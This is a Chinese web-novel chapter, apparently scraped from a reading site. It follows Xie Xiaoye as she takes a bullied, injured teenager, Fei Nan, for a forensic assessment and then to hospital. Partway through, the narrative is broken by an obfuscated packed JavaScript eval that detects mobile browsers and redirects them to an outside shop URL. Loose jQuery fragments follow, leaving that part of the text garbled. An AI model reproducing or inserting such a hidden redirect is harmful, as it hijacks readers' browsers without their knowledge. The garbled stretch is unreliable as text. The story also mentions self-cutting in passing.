5. 花钱

作品:《早说啊,早说我早动手了

    斐南洗澡的时间有点过于长了。


    谢小叶左等右等,等不到人,数次放不下心敲门,都有回应。


    幸好韩姨没打电话催。


    最后斐南顶着滴滴答答流水的头发从洗手间出来时谢小叶都有点儿困了。


    她特意把自己之前的大套衫给少年穿,斐南虽然瘦,但身量高,硬生生靠长度把衣服撑起来。


    谢小叶招招手,等他跛着腿走过来后强硬地掰过手腕,并不意外地发现上面新增了几条红痕。


    “你也是厉害,用啥割的啊,我咋就没看见。”


    斐南默不作声递过来一个削铅笔的折叠小刀。


    谢小叶看了一眼:“自己拿着吧,我又不能时时管着你。”


    闻言,斐南虽然依旧面无表情,却小声道:“别生气。”


    “没生气,走吧。”


    谢小叶真没生气,只是有点无奈。


    陈伯真是给她揽了个大麻烦。


    不过又能怪谁呢?是她自己要救人的。


    缘是她结下的。


    -


    韩姨,韩靖雯是个很干练的中年女人,穿着一身利落的警装,眉浓而密,颧骨很高,眼神锐利。


    她在警察局门口将谢小叶二人带了进去。


    可能因为职业习惯,她给人的压迫感很足,说话时沉缓有力:“对方受伤太严重,刑事案件没跑了。我听你说这孩子一直被霸凌,上午我向司法医学中心申请了伤情鉴定,现在领他过去,尽早留证。”


    短短几句话的时间,谢小叶心就定了下来。其实她刚刚也没底,只是觉得有事先求助警察,法律终归还是公平的,所以才想着把斐南带过来再说。


    幸好韩姨懂这些。


    谢小叶让斐南跟着韩靖雯身后的小警察走,她想和韩姨再抓紧时间聊些其它的案件细节。


    谁知斐南站在原地一动不动,警局大门到室内的短短几步路就流了满头大汗。他连连喘气,瞳孔不自觉扩大,嘴唇颤抖着对谢小叶说:“你可不可以、可不可以和我一起?”


    韩靖雯挑眉,在谢小叶问询的目光中点头。


    于是谢小叶说:“行啊,多大点儿事。”


    -


    拿到鉴定结果时,谢小叶本就不美丽的心情更加糟糕。


    她以为斐南只受了点皮肉伤,现在想想,他都没什么脂肪可以起到防护作用。


    手中薄薄的纸仿佛千斤重。


    “鉴定意见书


    受检人:斐南(男,年17岁)


    案由:涉嫌人身伤害案件


    受检时间:2009年7月17日


    鉴定目的:鉴定受检人所受伤害的性质与程度。


    经审查胸部X光片、胸部CT影像、现场照片及体检所见,结合法医体格检查结果,形成如下结论:


    受检人右肋第六、七肋处呈骨折影像学改变,为不移位性肋骨骨折;无胸腔明显积液或需外科手术处置的胸腔并发症证据。


    受检人胸背及大腿多处皮下淤斑、颜色呈紫黑,最大直径约7cm,系钝挫创所致.


    后背及左肩处有直径约1cm的浅表灼伤斑,边界清晰,表皮脱皮,符合烟头烫伤所致浅II度烧伤。


    综上所述,依据司法鉴定标准,受检人所受伤害构成“轻伤”,建议列为轻伤的医学结论在法医鉴定上成立。”


    骨折……


    他说他很能忍痛,这已经不是一般的能忍了。


    谢小叶现在只庆幸来时体谅他腿瘸叫了个出租,不然一路走过来孩子得遭老罪了。


    斐南现在正在拍ct,谢小叶将鉴定报告递给一直跟着的小警察,叹了口气往外走。


    “去哪儿?”也许因为不是嫌疑人,警察对她并没有严加看管,只是随口一问。


    谢小叶:“散心。”


    鉴定中心旁边就是银行,还没下班,谢小叶取了号坐在大厅等。


    等了半天总算轮到她,柜台的职员问:“需要办理什么业务?”


    "取钱。"


    “您的账户余额为……”


    “不用告诉我,都取出来吧。”


    “好的,请稍等。”


    从银行离开时,谢小叶的裤兜里多了4500多元。


    斐南治病要花多少谢小叶心里也没数,她一向身子骨倍儿棒,感冒都很少。保险起见,把存款全部取了出来。


    09年的四千块,算是一笔巨款,谢小叶走在路上也不禁发慌,手一直按在装钱的裤兜子上,生怕给别人摸走。她不知道钱够不够,只知道骨折算是很严重的情况。


    要说不心疼是不可能的。


    她昨天才认识斐南。


    辛苦赚来的钱全部花给陌生人,还不知道能不能从斐南父母那儿要回来,果然她还是没有陈伯那个心境。


    谢小叶呲牙咧嘴地回到鉴定中心,望眼欲穿,仿佛能透过白墙看到里面的斐南。


    救人一命胜造七级浮屠,救人一命胜造七级浮屠,救人一命胜造七级浮屠……


    念到不知道多少遍的时候,斐南出来了。


    他面无表情,只在看到谢小叶时眼睛稍微有了点光,缓缓挪到她身边。


    谢小叶恨铁不成钢地问:“你为啥不说啊?”


    斐南:“说什么?”


    “说你骨折了啊!早知道我昨天就该带你去看医生。”


    斐南坐到她旁边,低低道:“我没钱。”


    谢小叶叹了口气,厚厚一沓钱就装在裤兜里,她来回摩挲,心疼地不得了。


    在网吧当网管一个月挣1200,曾哥人好不收她住宿费,1200减去她和宁宁两个人平常的花销,顶天了能攒个四五百出来。


    这是忽略其它一切开销的情况。


    谢小叶心里空落落的,面上还是挂笑,故作轻松地拍了拍斐南的肩膀:“姐有钱,你担心啥?”


    后槽牙都要咬碎,她强按下不舍,等鉴定中心的工作人员一出来就迎上去:“请问在哪里缴费啊?”


    4500,曾哥那儿还能透支一两个月的薪水,加起来勉强7000,不行问臭老狗借一点儿。


    一万。


    这是谢小叶给自己设的心理预期。


    再高的话……不行就放弃?


    她回头看一眼,斐南正低着头乖巧地坐在蓝色铁质候诊椅上,一只手按在旁边的座位上,整个人向右边稍稍倾斜。


    是疼的么?


    工作人员诧异地说:“什么缴费?哦你说那个啊,韩姐已经给过了。”


    “……啊。”


    陪同的警察腋下夹着黄色牛皮纸文件夹哼着歌回去交差,他一走,走廊顿时安静。斐南等了一会儿,忽地坐直,抽回手,眉眼不自觉舒缓。


    谢小叶坐到他右边,无措地自言自语:“有点、怎么说呢,有点不好意思啊,韩姨把诊断费垫了。”


    三百块。


    说多不多,说少不少,正好在谢小叶可以接受的范围。


    她有点扭捏,不知道要不要接受这个好意。


    就这犹豫的当口,忽然感觉衣角传来一股拉力,谢小叶看过去。


    “多少钱?”斐南专注地盯着她问。


    “跟你没关系,小孩子别多问。”


    斐南抿了抿唇:“我有钱。”


    有钱能把自己饿成这样?


    谢小叶不信。


    她跳到地上,啧了一声:“快别和你谢姐犟了,走吧。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917141|192537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “……去哪儿?”


    “去医院啊,不然去哪儿?之前你在里面做检查时,韩姨给我来了电话,说是考虑到你是长期被霸凌,一对多,且使用的凶器是剪刀,初步排除故意伤害的可能,判定是自我防卫。至于是正当防卫还是防卫过当,得等开庭了法官怎么判。加上你还是个未成年,所以最后决定对你取保候审——意思就是,开庭前你都可以自由活动。”


    这铁定是个好消息,谢小叶自己听了都不免高兴,哪知斐南平静地“哦”了一声后就再没下文。


    没意思。


    她还想看看这小屁孩儿欣喜若狂的样子呢。


    怎么这么稳重,年纪轻轻的。


    出了鉴定中心,谢小叶想喊个出租,手还没抬起来就被斐南按下去。


    大眼瞪小眼。


    斐南先移开视线:“不想去医院。”


    谢小叶满脸疑惑地道:“小朋友,你骨折了,骨折你懂不懂?就是骨头咔吧一下碎了,不去医院你等着它自己长好么?”


    斐南:“嗯,我刚刚问了法医,他说我的情况不严重,去医院也是保守治疗,所以没必要去。”


    “药呢?总得吃点止痛药吧,你不疼?!”


    “……我可以忍。”


    谢小叶毫不顾忌翻了个白眼,动作灵敏地举起另一只手,眼疾手快地喊:“哎,出租,这儿!”


    因为路程较远,加上晕车,谢小叶一上车和司机师傅说完“第一人民医院”后就开始闭目养神。


    只是某人受伤了还不老实。旁边一直传来悉悉索索的声音,也不知道在忙什么。过了一会儿,忽然听到斐南小声道:“那边就有诊所。”


    谢小叶眼皮都懒得抬:“人民医院。”


    “真的不疼,没必要去。”


    这下连回应都懒得回。


    气氛一时凝滞下来。


    良久,才听到少年散发着迷惘,干涩低哑的嗓音:“谢小叶,我还不起。”


    这话说得没头没尾,被呼唤的人叹了口气,睁开眼看他。


    斐南的眼睛湿漉漉的,像是雨天被人狠心丢弃的小狗,莫名让人觉得可怜。谢小叶刚想开口,却见少年像是畏惧与她对视一般,眉眼低垂指了指后面的街道,再次提议:“真的,随便开点药就行,我想快点回去睡觉。”


    “斐南,”谢小叶耐心和他讲道理,“别让我担心,可以么?”


    “……”


    “你觉得我是好人么?”


    “嗯,”他瞬间抬头,连忙又补充,“你是真的好人,特别好!”


    谢小叶满脸“孺子可教”的欣慰,诱哄道:“好人是不忍心看到别人遭受痛苦而不作为的。我是为了宽慰我自己,你不需要有压力。”


    斐南似乎想反驳什么,谢小叶整个头皮一紧,心知这小屁孩儿是个认死理的,绝不能让他拿回主动权。她趁热打铁,趁胜追击,直接一个核弹轰下去:“更何况我月经要到了,止痛药又不是光给你买的,我自己也要吃。”


    此乃谎话。


    谢小叶从小到大还没痛经过。


    “哦……”斐南眨了眨眼,像是被这个理由砸懵了,声音都轻了几分,“好的。”


    他乖乖坐直身子,双手规规矩矩放在膝盖上,像个突然被老师点名的小学生,终于不再东拉西扯。


    谢小叶权当糊弄完毕,靠到窗边呼吸新鲜空气,心中碎碎念:阿弥陀佛,此司机师傅的车技实乃一坨狗屎,起步火箭发射,转弯航母掉头,刹车带来的推背感更是让胃翻江倒海。她连忙闭眼,催眠自己其实是在坐拖拉机——同样都是车,怎么给人的感觉差距这么大呢。


    也因此,她完全错过了少年悄然泛红的耳廓,和他不自然抿住的嘴角。